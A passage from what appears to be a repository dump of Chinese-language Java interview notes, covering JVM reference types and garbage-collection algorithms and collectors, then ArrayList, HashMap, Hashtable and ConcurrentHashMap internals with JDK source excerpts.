\n\n弱引用可以和一个引用队列（ReferenceQueue）联合使用，如果弱引用所引用的对象被垃圾回收，Java虚拟机就会把这个弱引用加入到与之关联的引用队列中。\n\n**4．虚引用（PhantomReference）**\n\n\"虚引用\"顾名思义，就是形同虚设，与其他几种引用都不同，虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用，那么它就和没有任何引用一样，在任何时候都可能被垃圾回收。\n\n**虚引用主要用来跟踪对象被垃圾回收的活动**。\n\n**虚引用与软引用和弱引用的一个区别在于：** 虚引用必须和引用队列（ReferenceQueue）联合使用。当垃 圾回收器准备回收一个对象时，如果发现它还有虚引用，就会在回收对象的内存之前，把这个虚引用加入到与之关联的引用队列中。程序可以通过判断引用队列中是 否已经加入了虚引用，来了解被引用的对象是否将要被垃圾回收。程序如果发现某个虚引用已经被加入到引用队列，那么就可以在所引用的对象的内存被回收之前采取必要的行动。 \n\n特别注意，在程序设计中一般很少使用弱引用与虚引用，使用软引用的情况较多，这是因为**软引用可以加速JVM对垃圾内存的回收速度，可以维护系统的运行安全，防止内存溢出（OutOfMemory）等问题的产生**。\n\n### 2.4 不可达的对象并非“非死不可”\n\n即使在可达性分析法中不可达的对象，也并非是“非死不可”的，这时候它们暂时处于“缓刑阶段”，要真正宣告一个对象死亡，至少要经历两次标记过程；可达性分析法中不可达的对象被第一次标记并且进行一次筛选，筛选的条件是此对象是否有必要执行 finalize 方法。当对象没有覆盖 finalize 方法，或 finalize 方法已经被虚拟机调用过时，虚拟机将这两种情况视为没有必要执行。\n\n被判定为需要执行的对象将会被放在一个队列中进行第二次标记，除非这个对象与引用链上的任何一个对象建立关联，否则就会被真的回收。\n\n### 2.5 如何判断一个常量是废弃常量\n\n运行时常量池主要回收的是废弃的常量。那么，我们如何判断一个常量是废弃常量呢？\n\n假如在常量池中存在字符串 \"abc\"，如果当前没有任何String对象引用该字符串常量的话，就说明常量 \"abc\" 就是废弃常量，如果这时发生内存回收的话而且有必要的话，\"abc\" 就会被系统清理出常量池。\n\n注意：我们在 [可能是把Java内存区域讲的最清楚的一篇文章](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484303&idx=1&sn=af0fd436cef755463f59ee4dd0720cbd&chksm=fd9855eecaefdcf8d94ac581cfda4e16c8a730bda60c3b50bc55c124b92f23b6217f7f8e58d5&token=506869459&lang=zh_CN#rd) 也讲了JDK1.7及之后版本的 JVM 已经将运行时常量池从方法区中移了出来，在 Java 堆（Heap）中开辟了一块区域存放运行时常量池。\n\n### 2.6 如何判断一个类是无用的类\n\n方法区主要回收的是无用的类，那么如何判断一个类是无用的类的呢？\n\n判定一个常量是否是“废弃常量”比较简单，而要判定一个类是否是“无用的类”的条件则相对苛刻许多。类需要同时满足下面3个条件才能算是 **“无用的类”** ：\n\n- 该类所有的实例都已经被回收，也就是 Java 堆中不存在该类的任何实例。\n- 加载该类的 ClassLoader 已经被回收。\n- 该类对应的 java.lang.Class 对象没有在任何地方被引用，无法在任何地方通过反射访问该类的方法。\n\n虚拟机可以对满足上述3个条件的无用类进行回收，这里说的仅仅是“可以”，而并不是和对象一样不使用了就会必然被回收。\n\n\n## 3 垃圾收集算法\n\n![垃圾收集算法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/1142723.jpg)\n\n### 3.1 标记-清除算法\n\n算法分为“标记”和“清除”阶段：首先标记出所有需要回收的对象，在标记完成后统一回收所有被标记的对象。它是最基础的收集算法，效率也很高，但是会带来两个明显的问题：\n\n1. **效率问题**\n2. **空间问题（标记清除后会产生大量不连续的碎片）**\n\n![标记-清除算法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/63707281.jpg)\n\n### 3.2 复制算法\n\n为了解决效率问题，“复制”收集算法出现了。它可以将内存分为大小相同的两块，每次使用其中的一块。当这一块的内存使用完后，就将还存活的对象复制到另一块去，然后再把使用的空间一次清理掉。这样就使每次的内存回收都是对内存区间的一半进行回收。\n\n![复制算法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/90984624.jpg)\n\n### 3.3 标记-整理算法\n根据老年代的特点特出的一种标记算法，标记过程仍然与“标记-清除”算法一样，但后续步骤不是直接对可回收对象回收，而是让所有存活的对象向一端移动，然后直接清理掉端边界以外的内存。\n\n![标记-整理算法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/94057049.jpg)\n\n### 3.4 分代收集算法\n\n当前虚拟机的垃圾收集都采用分代收集算法，这种算法没有什么新的思想，只是根据对象存活周期的不同将内存分为几块。一般将java堆分为新生代和老年代，这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。\n\n**比如在新生代中，每次收集都会有大量对象死去，所以可以选择复制算法，只需要付出少量对象的复制成本就可以完成每次垃圾收集。而老年代的对象存活几率是比较高的，而且没有额外的空间对它进行分配担保，所以我们必须选择“标记-清除”或“标记-整理”算法进行垃圾收集。**\n\n**延伸面试问题：** HotSpot为什么要分为新生代和老年代？\n\n根据上面的对分代收集算法的介绍回答。\n\n## 4 垃圾收集器\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/41460955.jpg)\n\n**如果说收集算法是内存回收的方法论，那么垃圾收集器就是内存回收的具体实现。**\n\n虽然我们对各个收集器进行比较，但并非要挑选出一个最好的收集器。因为知道现在为止还没有最好的垃圾收集器出现，更加没有万能的垃圾收集器，**我们能做的就是根据具体应用场景选择适合自己的垃圾收集器**。试想一下：如果有一种四海之内、任何场景下都适用的完美收集器存在，那么我们的HotSpot虚拟机就不会实现那么多不同的垃圾收集器了。\n\n\n### 4.1 Serial收集器\nSerial（串行）收集器收集器是最基本、历史最悠久的垃圾收集器了。大家看名字就知道这个收集器是一个单线程收集器了。它的 **“单线程”** 的意义不仅仅意味着它只会使用一条垃圾收集线程去完成垃圾收集工作，更重要的是它在进行垃圾收集工作的时候必须暂停其他所有的工作线程（ **\"Stop The World\"** ），直到它收集结束。\n\n **新生代采用复制算法，老年代采用标记-整理算法。**\n![ Serial收集器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/46873026.jpg)\n\n虚拟机的设计者们当然知道Stop The World带来的不良用户体验，所以在后续的垃圾收集器设计中停顿时间在不断缩短（仍然还有停顿，寻找最优秀的垃圾收集器的过程仍然在继续）。\n\n但是Serial收集器有没有优于其他垃圾收集器的地方呢？当然有，它**简单而高效（与其他收集器的单线程相比）**。Serial收集器由于没有线程交互的开销，自然可以获得很高的单线程收集效率。Serial收集器对于运行在Client模式下的虚拟机来说是个不错的选择。\n\n\n\n### 4.2 ParNew收集器\n**ParNew收集器其实就是Serial收集器的多线程版本，除了使用多线程进行垃圾收集外，其余行为（控制参数、收集算法、回收策略等等）和Serial收集器完全一样。**\n\n **新生代采用复制算法，老年代采用标记-整理算法。**\n![ParNew收集器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/22018368.jpg)\n\n它是许多运行在Server模式下的虚拟机的首要选择，除了Serial收集器外，只有它能与CMS收集器（真正意义上的并发收集器，后面会介绍到）配合工作。\n\n**并行和并发概念补充：**\n\n- **并行（Parallel）** ：指多条垃圾收集线程并行工作，但此时用户线程仍然处于等待状态。\n\n- **并发（Concurrent）**：指用户线程与垃圾收集线程同时执行（但不一定是并行，可能会交替执行），用户程序在继续运行，而垃圾收集器运行在另一个CPU上。\n\n\n### 4.3 Parallel Scavenge收集器\n\nParallel Scavenge 收集器类似于ParNew 收集器。 **那么它有什么特别之处呢？**\n\n```\n-XX:+UseParallelGC \n\n    使用Parallel收集器+ 老年代串行\n\n-XX:+UseParallelOldGC\n\n    使用Parallel收集器+ 老年代并行\n\n```\n\n**Parallel Scavenge收集器关注点是吞吐量（高效率的利用CPU）。CMS等垃圾收集器的关注点更多的是用户线程的停顿时间（提高用户体验）。所谓吞吐量就是CPU中用于运行用户代码的时间与CPU总消耗时间的比值。** Parallel Scavenge收集器提供了很多参数供用户找到最合适的停顿时间或最大吞吐量，如果对于收集器运作不太了解的话，手工优化存在的话可以选择把内存管理优化交给虚拟机去完成也是一个不错的选择。\n\n **新生代采用复制算法，老年代采用标记-整理算法。**\n![ParNew收集器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/22018368.jpg)\n\n\n### 4.4.Serial Old收集器\n**Serial收集器的老年代版本**，它同样是一个单线程收集器。它主要有两大用途：一种用途是在JDK1.5以及以前的版本中与Parallel Scavenge收集器搭配使用，另一种用途是作为CMS收集器的后备方案。\n\n### 4.5 Parallel Old收集器\n **Parallel Scavenge收集器的老年代版本**。使用多线程和“标记-整理”算法。在注重吞吐量以及CPU资源的场合，都可以优先考虑 Parallel Scavenge收集器和Parallel Old收集器。\n\n### 4.6 CMS收集器\n\n**CMS（Concurrent Mark Sweep）收集器是一种以获取最短回收停顿时间为目标的收集器。它而非常符合在注重用户体验的应用上使用。**\n\n**CMS（Concurrent Mark Sweep）收集器是HotSpot虚拟机第一款真正意义上的并发收集器，它第一次实现了让垃圾收集线程与用户线程（基本上）同时工作。**\n\n从名字中的**Mark Sweep**这两个词可以看出，CMS收集器是一种 **“标记-清除”算法**实现的，它的运作过程相比于前面几种垃圾收集器来说更加复杂一些。整个过程分为四个步骤：\n\n- **初始标记：** 暂停所有的其他线程，并记录下直接与root相连的对象，速度很快 ；\n- **并发标记：** 同时开启GC和用户线程，用一个闭包结构去记录可达对象。但在这个阶段结束，这个闭包结构并不能保证包含当前所有的可达对象。因为用户线程可能会不断的更新引用域，所以GC线程无法保证可达性分析的实时性。所以这个算法里会跟踪记录这些发生引用更新的地方。\n- **重新标记：** 重新标记阶段就是为了修正并发标记期间因为用户程序继续运行而导致标记产生变动的那一部分对象的标记记录，这个阶段的停顿时间一般会比初始标记阶段的时间稍长，远远比并发标记阶段时间短\n- **并发清除：** 开启用户线程，同时GC线程开始对为标记的区域做清扫。\n\n![CMS垃圾收集器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/82825079.jpg)\n\n从它的名字就可以看出它是一款优秀的垃圾收集器，主要优点：**并发收集、低停顿**。但是它有下面三个明显的缺点：\n\n- **对CPU资源敏感；**\n- **无法处理浮动垃圾；**\n- **它使用的回收算法-“标记-清除”算法会导致收集结束时会有大量空间碎片产生。**\n\n### 4.7 G1收集器\n\n\n**G1 (Garbage-First)是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足GC停顿时间要求的同时,还具备高吞吐量性能特征.**\n\n被视为JDK1.7中HotSpot虚拟机的一个重要进化特征。它具备一下特点：\n\n- **并行与并发**：G1能充分利用CPU、多核环境下的硬件优势，使用多个CPU（CPU或者CPU核心）来缩短Stop-The-World停顿时间。部分其他收集器原本需要停顿Java线程执行的GC动作，G1收集器仍然可以通过并发的方式让java程序继续执行。\n- **分代收集**：虽然G1可以不需要其他收集器配合就能独立管理整个GC堆，但是还是保留了分代的概念。\n- **空间整合**：与CMS的“标记--清理”算法不同，G1从整体来看是基于“标记整理”算法实现的收集器；从局部上来看是基于“复制”算法实现的。\n- **可预测的停顿**：这是G1相对于CMS的另一个大优势，降低停顿时间是G1 和 CMS 共同的关注点，但G1 除了追求低停顿外，还能建立可预测的停顿时间模型，能让使用者明确指定在一个长度为M毫秒的时间片段内。\n\n\nG1收集器的运作大致分为以下几个步骤：\n\n- **初始标记**\n- **并发标记**\n- **最终标记**\n- **筛选回收**\n\n\n**G1收集器在后台维护了一个优先列表，每次根据允许的收集时间，优先选择回收价值最大的Region(这也就是它的名字Garbage-First的由来)**。这种使用Region划分内存空间以及有优先级的区域回收方式，保证了GF收集器在有限时间内可以尽可能高的收集效率（把内存化整为零）。\n\n\n\n\n\n参考：\n\n- 《深入理解Java虚拟机：JVM高级特性与最佳实践（第二版》\n- https://my.oschina.net/hosee/blog/644618\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/java/这几道Java集合框架面试题几乎必问.md",
    "content": "\n\n<!-- MarkdownTOC -->\n\n- [Arraylist 与 LinkedList 异同](#arraylist-与-linkedlist-异同)\n  - [补充：数据结构基础之双向链表](#补充：数据结构基础之双向链表)\n- [ArrayList 与 Vector 区别](#arraylist-与-vector-区别)\n- [HashMap的底层实现](#hashmap的底层实现)\n  - [JDK1.8之前](#jdk18之前)\n  - [JDK1.8之后](#jdk18之后)\n- [HashMap 和 Hashtable 的区别](#hashmap-和-hashtable-的区别)\n- [HashMap 的长度为什么是2的幂次方](#hashmap-的长度为什么是2的幂次方)\n- [HashMap 多线程操作导致死循环问题](#hashmap-多线程操作导致死循环问题)\n- [HashSet 和 HashMap 区别](#hashset-和-hashmap-区别)\n- [ConcurrentHashMap 和 Hashtable 的区别](#concurrenthashmap-和-hashtable-的区别)\n- [ConcurrentHashMap线程安全的具体实现方式/底层具体实现](#concurrenthashmap线程安全的具体实现方式底层具体实现)\n  - [JDK1.7（上面有示意图）](#jdk17（上面有示意图）)\n  - [JDK1.8 （上面有示意图）](#jdk18-（上面有示意图）)\n- [集合框架底层数据结构总结](#集合框架底层数据结构总结)\n  - [Collection](#collection)\n    - [1. List](#1-list)\n    - [2. Set](#2-set)\n  - [Map](#map)\n  - [推荐阅读：](#推荐阅读：)\n\n<!-- /MarkdownTOC -->\n\n## Arraylist 与 LinkedList 异同\n\n- **1. 是否保证线程安全：** ArrayList 和 LinkedList 都是不同步的，也就是不保证线程安全；\n- **2. 底层数据结构：** Arraylist 底层使用的是Object数组；LinkedList 底层使用的是双向链表数据结构（JDK1.6之前为循环链表，JDK1.7取消了循环。注意双向链表和双向循环链表的区别：）； 详细可阅读[JDK1.7-LinkedList循环链表优化](https://www.cnblogs.com/xingele0917/p/3696593.html)\n-  **3. 插入和删除是否受元素位置的影响：** ① **ArrayList 采用数组存储，所以插入和删除元素的时间复杂度受元素位置的影响。** 比如：执行`add(E e)  `方法的时候， ArrayList 会默认在将指定的元素追加到此列表的末尾，这种情况时间复杂度就是O(1)。但是如果要在指定位置 i 插入和删除元素的话（`add(int index, E element) `）时间复杂度就为 O(n-i)。因为在进行上述操作的时候集合中第 i 和第 i 个元素之后的(n-i)个元素都要执行向后位/向前移一位的操作。 ② **LinkedList 采用链表存储，所以插入，删除元素时间复杂度不受元素位置的影响，都是近似 O（1）而数组为近似 O（n）。**\n- **4. 是否支持快速随机访问：** LinkedList 不支持高效的随机元素访问，而 ArrayList 支持。快速随机访问就是通过元素的序号快速获取元素对象(对应于`get(int index) `方法)。\n- **5. 内存空间占用：** ArrayList的空 间浪费主要体现在在list列表的结尾会预留一定的容量空间，而LinkedList的空间花费则体现在它的每一个元素都需要消耗比ArrayList更多的空间（因为要存放直接后继和直接前驱以及数据）。 \n- **6.补充内容:RandomAccess接口**\n\n```java\npublic interface RandomAccess {\n}\n```\n\n查看源码我们发现实际上 RandomAccess 接口中什么都没有定义。所以，在我看来 RandomAccess 接口不过是一个标识罢了。标识什么？ 标识实现这个接口的类具有随机访问功能。\n\n在binarySearch（）方法中，它要判断传入的list 是否RamdomAccess的实例，如果是，调用indexedBinarySearch（）方法，如果不是，那么调用iteratorBinarySearch（）方法\n\n```java\n    public static <T>\n    int binarySearch(List<? extends Comparable<? super T>> list, T key) {\n        if (list instanceof RandomAccess || list.size()<BINARYSEARCH_THRESHOLD)\n            return Collections.indexedBinarySearch(list, key);\n        else\n            return Collections.iteratorBinarySearch(list, key);\n    }\n\n```\nArrayList 实现了 RandomAccess 接口， 而 LinkedList 没有实现。为什么呢？我觉得还是和底层数据结构有关！ArrayList 底层是数组，而 LinkedList 底层是链表。数组天然支持随机访问，时间复杂度为 O（1），所以称为快速随机访问。链表需要遍历到特定位置才能访问特定位置的元素，时间复杂度为 O（n），所以不支持快速随机访问。，ArrayList 实现了 RandomAccess 接口，就表明了他具有快速随机访问功能。 RandomAccess 接口只是标识，并不是说 ArrayList 实现 RandomAccess 接口才具有快速随机访问功能的！\n\n\n**下面再总结一下 list 的遍历方式选择：**\n\n- 实现了RandomAccess接口的list，优先选择普通for循环 ，其次foreach,\n- 未实现RandomAccess接口的ist， 优先选择iterator遍历（foreach遍历底层也是通过iterator实现的），大size的数据，千万不要使用普通for循环\n\n\n### 补充：数据结构基础之双向链表\n\n双向链表也叫双链表，是链表的一种，它的每个数据结点中都有两个指针，分别指向直接后继和直接前驱。所以，从双向链表中的任意一个结点开始，都可以很方便地访问它的前驱结点和后继结点。一般我们都构造双向循环链表，如下图所示，同时下图也是LinkedList 底层使用的是双向循环链表数据结构。\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-21/88766727.jpg)\n\n\n## ArrayList 与 Vector 区别\n\n Vector类的所有方法都是同步的。可以由两个线程安全地访问一个Vector对象、但是一个线程访问Vector的话代码要在同步操作上耗费大量的时间。\n\nArraylist不是同步的，所以在不需要保证线程安全时时建议使用Arraylist。\n\n\n## HashMap的底层实现\n\n### JDK1.8之前\n\nJDK1.8 之前 HashMap 底层是 **数组和链表** 结合在一起使用也就是 **链表散列**。**HashMap 通过 key 的 hashCode 经过扰动函数处理过后得到 hash  值，然后通过 `(n - 1) & hash` 判断当前元素存放的位置（这里的 n 指的是数组的长度），如果当前位置存在元素的话，就判断该元素与要存入的元素的 hash 值以及 key 是否相同，如果相同的话，直接覆盖，不相同就通过拉链法解决冲突。**\n\n**所谓扰动函数指的就是 HashMap 的 hash 方法。使用 hash 方法也就是扰动函数是为了防止一些实现比较差的 hashCode() 方法 换句话说使用扰动函数之后可以减少碰撞。**\n\n**JDK 1.8 HashMap 的 hash 方法源码:**\n\nJDK 1.8 的 hash方法 相比于 JDK 1.7 hash 方法更加简化，但是原理不变。\n\n  ```java\n      static final int hash(Object key) {\n        int h;\n        // key.hashCode()：返回散列值也就是hashcode\n        // ^ ：按位异或\n        // >>>:无符号右移，忽略符号位，空位都以0补齐\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }\n  ```\n对比一下 JDK1.7的 HashMap 的 hash 方法源码.\n\n```java\nstatic int hash(int h) {\n    // This function ensures that hashCodes that differ only by\n    // constant multiples at each bit position have a bounded\n    // number of collisions (approximately 8 at default load factor).\n\n    h ^= (h >>> 20) ^ (h >>> 12);\n    return h ^ (h >>> 7) ^ (h >>> 4);\n}\n```\n\n相比于 JDK1.8 的 hash 方法 ，JDK 1.7 的 hash 方法的性能会稍差一点点，因为毕竟扰动了 4 次。\n\n所谓 **“拉链法”** 就是：将链表和数组相结合。也就是说创建一个链表数组，数组中每一格就是一个链表。若遇到哈希冲突，则将冲突的值加到链表中即可。\n\n\n\n![jdk1.8之前的内部结构](https://user-gold-cdn.xitu.io/2018/3/20/16240dbcc303d872?w=348&h=427&f=png&s=10991)\n\n\n### JDK1.8之后\n相比于之前的版本， JDK1.8之后在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间。\n\n![JDK1.8之后的HashMap底层数据结构](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/67233764.jpg)\n\n>TreeMap、TreeSet以及JDK1.8之后的HashMap底层都用到了红黑树。红黑树就是为了解决二叉查找树的缺陷，因为二叉查找树在某些情况下会退化成一个线性结构。\n\n**推荐阅读：**\n\n- 《Java 8系列之重新认识HashMap》 ：[https://zhuanlan.zhihu.com/p/21673805](https://zhuanlan.zhihu.com/p/21673805)\n\n## HashMap 和 Hashtable 的区别\n\n1.  **线程是否安全：** HashMap 是非线程安全的，HashTable 是线程安全的；HashTable 内部的方法基本都经过  `synchronized`  修饰。（如果你要保证线程安全的话就使用 ConcurrentHashMap 吧！）；\n2. **效率：** 因为线程安全的问题，HashMap 要比 HashTable 效率高一点。另外，HashTable 基本被淘汰，不要在代码中使用它；\n3. **对Null key 和Null value的支持：** HashMap 中，null 可以作为键，这样的键只有一个，可以有一个或多个键所对应的值为 null。。但是在 HashTable 中 put 进的键值只要有一个 null，直接抛出 NullPointerException。\n4. **初始容量大小和每次扩充容量大小的不同 ：**   ①创建时如果不指定容量初始值，Hashtable 默认的初始大小为11，之后每次扩充，容量变为原来的2n+1。HashMap 默认的初始化大小为16。之后每次扩充，容量变为原来的2倍。②创建时如果给定了容量初始值，那么 Hashtable 会直接使用你给定的大小，而 HashMap 会将其扩充为2的幂次方大小（HashMap 中的`tableSizeFor()`方法保证，下面给出了源代码）。也就是说 HashMap 总是使用2的幂作为哈希表的大小,后面会介绍到为什么是2的幂次方。\n5. **底层数据结构：** JDK1.8 以后的 HashMap 在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间。Hashtable 没有这样的机制。\n\n**HasMap 中带有初始容量的构造函数：**\n\n```java\n    public HashMap(int initialCapacity, float loadFactor) {\n        if (initialCapacity < 0)\n            throw new IllegalArgumentException(\"Illegal initial capacity: \" +\n                                               initialCapacity);\n        if (initialCapacity > MAXIMUM_CAPACITY)\n            initialCapacity = MAXIMUM_CAPACITY;\n        if (loadFactor <= 0 || Float.isNaN(loadFactor))\n            throw new IllegalArgumentException(\"Illegal load factor: \" +\n                                               loadFactor);\n        this.loadFactor = loadFactor;\n        this.threshold = tableSizeFor(initialCapacity);\n    }\n     public HashMap(int initialCapacity) {\n        this(initialCapacity, DEFAULT_LOAD_FACTOR);\n    }\n```\n\n下面这个方法保证了 HashMap 总是使用2的幂作为哈希表的大小。\n\n```java\n    /**\n     * Returns a power of two size for the given target capacity.\n     */\n    static final int tableSizeFor(int cap) {\n        int n = cap - 1;\n        n |= n >>> 1;\n        n |= n >>> 2;\n        n |= n >>> 4;\n        n |= n >>> 8;\n        n |= n >>> 16;\n        return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;\n    }\n```\n\n## HashMap 的长度为什么是2的幂次方\n\n为了能让 HashMap 存取高效，尽量较少碰撞，也就是要尽量把数据分配均匀。我们上面也讲到了过了，Hash 值的范围值-2147483648到2147483647，前后加起来大概40亿的映射空间，只要哈希函数映射得比较均匀松散，一般应用是很难出现碰撞的。但问题是一个40亿长度的数组，内存是放不下的。所以这个散列值是不能直接拿来用的。用之前还要先做对数组的长度取模运算，得到的余数才能用来要存放的位置也就是对应的数组下标。这个数组下标的计算方法是“ `(n - 1) & hash` ”。（n代表数组长度）。这也就解释了 HashMap 的长度为什么是2的幂次方。\n\n**这个算法应该如何设计呢？**\n\n我们首先可能会想到采用%取余的操作来实现。但是，重点来了：**“取余(%)操作中如果除数是2的幂次则等价于与其除数减一的与(&)操作（也就是说 hash%length==hash&(length-1)的前提是 length 是2的 n 次方；）。”** 并且 **采用二进制位操作 &，相对于%能够提高运算效率，这就解释了 HashMap 的长度为什么是2的幂次方。**\n\n## HashMap 多线程操作导致死循环问题\n\n在多线程下，进行 put 操作会导致 HashMap 死循环，原因在于 HashMap 的扩容 resize()方法。由于扩容是新建一个数组，复制原数据到数组。由于数组下标挂有链表，所以需要复制链表，但是多线程操作有可能导致环形链表。复制链表过程如下:  \n以下模拟2个线程同时扩容。假设，当前 HashMap 的空间为2（临界值为1），hashcode 分别为 0 和 1，在散列地址 0 处有元素 A 和 B，这时候要添加元素 C，C 经过 hash 运算，得到散列地址为 1，这时候由于超过了临界值，空间不够，需要调用 resize 方法进行扩容，那么在多线程条件下，会出现条件竞争，模拟过程如下：\n\n 线程一：读取到当前的 HashMap 情况，在准备扩容时，线程二介入\n\n![](https://note.youdao.com/yws/public/resource/e4cec65883d9fdc24effba57dcfa5241/xmlnote/41aed567e3419e1314bfbf689e3255a2/192)\n\n线程二：读取 HashMap，进行扩容\n\n![](https://note.youdao.com/yws/public/resource/e4cec65883d9fdc24effba57dcfa5241/xmlnote/f44624419c0a49686fb12aa37527ee65/191)\n\n线程一：继续执行\n\n![](https://note.youdao.com/yws/public/resource/e4cec65883d9fdc24effba57dcfa5241/xmlnote/79424b2bf4a89902a9e85c64600268e4/193)\n \n这个过程为，先将 A 复制到新的 hash 表中，然后接着复制 B 到链头（A 的前边：B.next=A），本来 B.next=null，到此也就结束了（跟线程二一样的过程），但是，由于线程二扩容的原因，将 B.next=A，所以，这里继续复制A，让 A.next=B，由此，环形链表出现：B.next=A; A.next=B \n\n**注意：jdk1.8已经解决了死循环的问题。**详细信息请阅读[jdk1.8 hashmap多线程put不会造成死循环](https://blog.csdn.net/qq_27007251/article/details/71403647)\n\n\n## HashSet 和 HashMap 区别\n\n如果你看过 HashSet 源码的话就应该知道：HashSet 底层就是基于 HashMap 实现的。（HashSet 的源码非常非常少，因为除了 clone() 方法、writeObject()方法、readObject()方法是 HashSet 自己不得不实现之外，其他方法都是直接调用 HashMap 中的方法。）\n\n![HashSet 和 HashMap 区别](https://user-gold-cdn.xitu.io/2018/3/2/161e717d734f3b23?w=896&h=363&f=jpeg&s=205536)\n\n## ConcurrentHashMap 和 Hashtable 的区别\n\nConcurrentHashMap 和 Hashtable 的区别主要体现在实现线程安全的方式上不同。\n\n- **底层数据结构：** JDK1.7的 ConcurrentHashMap 底层采用 **分段的数组+链表** 实现，JDK1.8 采用的数据结构跟HashMap1.8的结构一样，数组+链表/红黑二叉树。Hashtable 和 JDK1.8 之前的 HashMap 的底层数据结构类似都是采用 **数组+链表** 的形式，数组是 HashMap 的主体，链表则是主要为了解决哈希冲突而存在的；\n- **实现线程安全的方式（重要）：** ① **在JDK1.7的时候，ConcurrentHashMap（分段锁）** 对整个桶数组进行了分割分段(Segment)，每一把锁只锁容器其中一部分数据，多线程访问容器里不同数据段的数据，就不会存在锁竞争，提高并发访问率。 **到了 JDK1.8 的时候已经摒弃了Segment的概念，而是直接用 Node 数组+链表+红黑树的数据结构来实现，并发控制使用 synchronized 和 CAS 来操作。（JDK1.6以后 对 synchronized锁做了很多优化）**  整个看起来就像是优化过且线程安全的 HashMap，虽然在JDK1.8中还能看到 Segment 的数据结构，但是已经简化了属性，只是为了兼容旧版本；② **Hashtable(同一把锁)** :使用 synchronized 来保证线程安全，效率非常低下。当一个线程访问同步方法时，其他线程也访问同步方法，可能会进入阻塞或轮询状态，如使用 put 添加元素，另一个线程不能使用 put 添加元素，也不能使用 get，竞争会越来越激烈效率越低。\n\n**两者的对比图：** \n\n图片来源：http://www.cnblogs.com/chengxiao/p/6842045.html\n\nHashTable:\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/50656681.jpg)\n\nJDK1.7的ConcurrentHashMap：\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/33120488.jpg)\nJDK1.8的ConcurrentHashMap（TreeBin: 红黑二叉树节点\nNode: 链表节点）：\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/97739220.jpg)\n\n## ConcurrentHashMap线程安全的具体实现方式/底层具体实现\n\n### JDK1.7（上面有示意图）\n\n首先将数据分为一段一段的存储，然后给每一段数据配一把锁，当一个线程占用锁访问其中一个段数据时，其他段的数据也能被其他线程访问。\n\n**ConcurrentHashMap 是由 Segment 数组结构和 HashEntry 数组结构组成**。\n\nSegment 实现了 ReentrantLock,所以 Segment 是一种可重入锁，扮演锁的角色。HashEntry 用于存储键值对数据。\n\n```java\nstatic class Segment<K,V> extends ReentrantLock implements Serializable {\n}\n```\n\n一个 ConcurrentHashMap 里包含一个 Segment 数组。Segment 的结构和HashMap类似，是一种数组和链表结构，一个 Segment 包含一个 HashEntry  数组，每个 HashEntry 是一个链表结构的元素，每个 Segment 守护着一个HashEntry数组里的元素，当对 HashEntry 数组的数据进行修改时，必须首先获得对应的 Segment的锁。\n\n### JDK1.8 （上面有示意图）\n\nConcurrentHashMap取消了Segment分段锁，采用CAS和synchronized来保证并发安全。数据结构跟HashMap1.8的结构类似，数组+链表/红黑二叉树。Java 8在链表长度超过一定阈值（8）时将链表（寻址时间复杂度为O(N)）转换为红黑树（寻址时间复杂度为O(long(N))）\n\nsynchronized只锁定当前链表或红黑二叉树的首节点，这样只要hash不冲突，就不会产生并发，效率又提升N倍。\n\n\n\n## 集合框架底层数据结构总结\n###  Collection\n  \n####  1. List\n   - **Arraylist：** Object数组\n   - **Vector：** Object数组\n   - **LinkedList：** 双向链表(JDK1.6之前为循环链表，JDK1.7取消了循环)\n   详细可阅读[JDK1.7-LinkedList循环链表优化](https://www.cnblogs.com/xingele0917/p/3696593.html)\n\n####  2. Set\n  - **HashSet（无序，唯一）:**  基于 HashMap 实现的，底层采用 HashMap 来保存元素\n  - **LinkedHashSet：** LinkedHashSet 继承与 HashSet，并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的LinkedHashMap 其内部是基于 Hashmap 实现一样，不过还是有一点点区别的。\n  - **TreeSet（有序，唯一）：** 红黑树(自平衡的排序二叉树。)\n\n###  Map \n -  **HashMap：** JDK1.8之前HashMap由数组+链表组成的，数组是HashMap的主体，链表则是主要为了解决哈希冲突而存在的（“拉链法”解决冲突）.JDK1.8以后在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间\n -  **LinkedHashMap:** LinkedHashMap 继承自 HashMap，所以它的底层仍然是基于拉链式散列结构即由数组和链表或红黑树组成。另外，LinkedHashMap 在上面结构的基础上，增加了一条双向链表，使得上面的结构可以保持键值对的插入顺序。同时通过对链表进行相应的操作，实现了访问顺序相关逻辑。详细可以查看：[《LinkedHashMap 源码详细分析（JDK1.8）》](https://www.imooc.com/article/22931)\n -  **HashTable:** 数组+链表组成的，数组是 HashMap 的主体，链表则是主要为了解决哈希冲突而存在的\n -  **TreeMap:** 红黑树（自平衡的排序二叉树）\n \n\n\n\n### 推荐阅读：\n\n- [jdk1.8中ConcurrentHashMap的实现原理](https://blog.csdn.net/fjse51/article/details/55260493)\n- [HashMap? ConcurrentHashMap? 